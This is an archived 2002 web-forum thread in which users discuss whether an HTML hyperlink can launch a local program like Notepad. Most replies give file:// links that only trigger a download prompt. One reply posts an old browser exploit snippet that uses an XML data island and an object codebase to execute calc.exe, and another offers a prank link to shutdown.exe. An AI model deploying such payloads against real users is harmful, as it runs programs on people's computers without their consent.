PDA

View Full Version : Hyperlink to program in PC



rainplanet
March 6th, 2002, 21:03
I want to make a hyperlink to execute particular program (e.g. notepad.exe) in my pc. How can I do that? When I make a common hyperlink (href), a window popup asking me if I want to save or open from its location. How can I skip this window so the hyperlink open the program directly? If anyone know the script, please share it to me. Thanks

Red

Jan
March 6th, 2002, 22:33
From the www, you want to open a file on your computer??? I have no idea, but I have my doubts it can be done. :eek:

But if it can, I am confident someone will be quick to correct me :p

roly
March 6th, 2002, 22:48
<a href="c:\windows\notepad.exe">Launch Notepad</a>

rainplanet
March 6th, 2002, 23:07
That won't work, roly. But thanks anyway. Script like that just open file download window that asking if we want to save the notepad.exe to our hardisk or open it from it's location.

Anyone got better idea?

Red

wm2k1
March 6th, 2002, 23:15
what's the point?
just create a shortcut on the desktop or quick launch
its faster than click on the browser...wait it to open...go to the page...click on the link

rainplanet
March 7th, 2002, 00:05
I just want to make a desktop wallpaper in html format. That's all.

meow
March 7th, 2002, 00:24
I think should be happy that can't be done.

is0lized
March 7th, 2002, 02:13
here you go
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/windows/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>

rainplanet
March 7th, 2002, 04:07
I have "cut and paste" your code, but it doesn't work. What should have I missed?

Thanks anyway.

meow
March 7th, 2002, 05:37
:rolleyes:
You don't get it. The only way it's possible is by exploiting some vulnerability or other. HTML isn't supposed to run applications on your machine.
The code above, or similar, was posted at a security site the other day. It didn't hurt me either. :confused:

Dean
March 7th, 2002, 21:44
<a href="file://C:/windows/notepad.exe">Click Here</a>
Example (file://C:/windows/notepad.exe) [ click open ]

meow
March 7th, 2002, 21:48
That makes the browser try to DOWNLOAD the file. He want's HTML code to EXECUTE a program on your hard disk. Would make Nimda seem pretty harmless. :biggrin2:

Dean
March 7th, 2002, 21:51
Dont Click Here (file://C:/windows/system32/shutdown.exe)

Bruce
March 7th, 2002, 21:51
Meow, when the download dialog pops up, choose open and the program will open from your hard disk.

Bruce
March 7th, 2002, 21:52
Originally posted by Viper[X]
Dont Click Here (file:\\C:\windows\system32\shutdown.exe) You screwed that one up.

Dean
March 7th, 2002, 21:58
ar well

meow
March 7th, 2002, 22:05
Nope. It askes if I want to install and run notepad.exe and then gives an error. If it had worked it would have been executed by me, not by the html code.

Bruce
March 7th, 2002, 22:13
If it didn't work then notepad isn't located there. Try substituting the correct path on your system.

is0lized
March 8th, 2002, 04:57
Originally posted by Viper[X]
Dont Click Here (file://C:/windows/system32/shutdown.exe)


haha, your lame

1) not all windows systems uses C:\windows some use c:\winnt

2) vb processed it as htp://

3) i dont use windows, hahahaha

wm2k1
March 8th, 2002, 07:20
Originally posted by is0lized
[B]not all windows systems uses C:\windows some use c:\winnt
B]
those are not the only folders
it could be set to any folder u want during installation

meow
March 8th, 2002, 17:05
I know where I have notepad. It just doesn't work. I can start other apps that way though. It nags me about mime types and stuff.

The point is that the original poster wanted to run a program from a link. I don't think he meant with the d/l dialog.

Never_pay
March 8th, 2002, 23:57
I think he may mean this.

Click here (http://www.thugworld.com/linkthief.htm)
The person who owns the site makes you think your pc is open to everyone,but its not.
Only you see your pc contents,it is totally safe.
I see my stuff and ONLY I SEE my stuff.
Neat little script if ya ask me though :D

If this IS NOT what he wants,sorry for wasting time:)

NOTE:
I was sent to this page as a gag and do not support the contents of the site itself.

Christopher
March 9th, 2002, 09:50
Does this work:
Click Here (file:///C|/WINDOWS/notepad.exe)

Im too lazt to try it in my editor...


Edit: Nope, doesn't work...